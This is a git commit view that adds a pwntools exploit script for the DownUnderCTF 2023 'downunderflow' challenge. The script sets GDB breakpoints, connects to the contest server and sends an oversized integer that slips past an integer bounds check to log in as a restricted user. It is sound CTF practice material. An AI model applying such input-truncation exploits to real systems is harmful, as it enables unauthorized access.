some things

This commit is contained in:
2023-09-02 14:08:40 +02:00
parent 7c4ec54173
commit 365a15986b
10 changed files with 268 additions and 2 deletions

View File

@@ -0,0 +1,31 @@
from pwn import *
import os
gs = '''
unset env LINES
unset env COLUMNS
set follow-fork-mode child
br *read_int_lower_than+57
br *main + 146
br *main + 49
c
x/d $rbp-0x14
'''
elf = ELF(os.getcwd()+"/downunderflow")
def start():
if args.GDB:
return gdb.debug(elf.path, gs)
if args.REMOTE:
return remote("2023.ductf.dev", 30025)
else:
return process(os.getcwd()+"/downunderflow")
io = start()
print(io.recvuntil("Select user to log in as: "))
io.sendline(str(0x1234567890120007).encode())
io.interactive()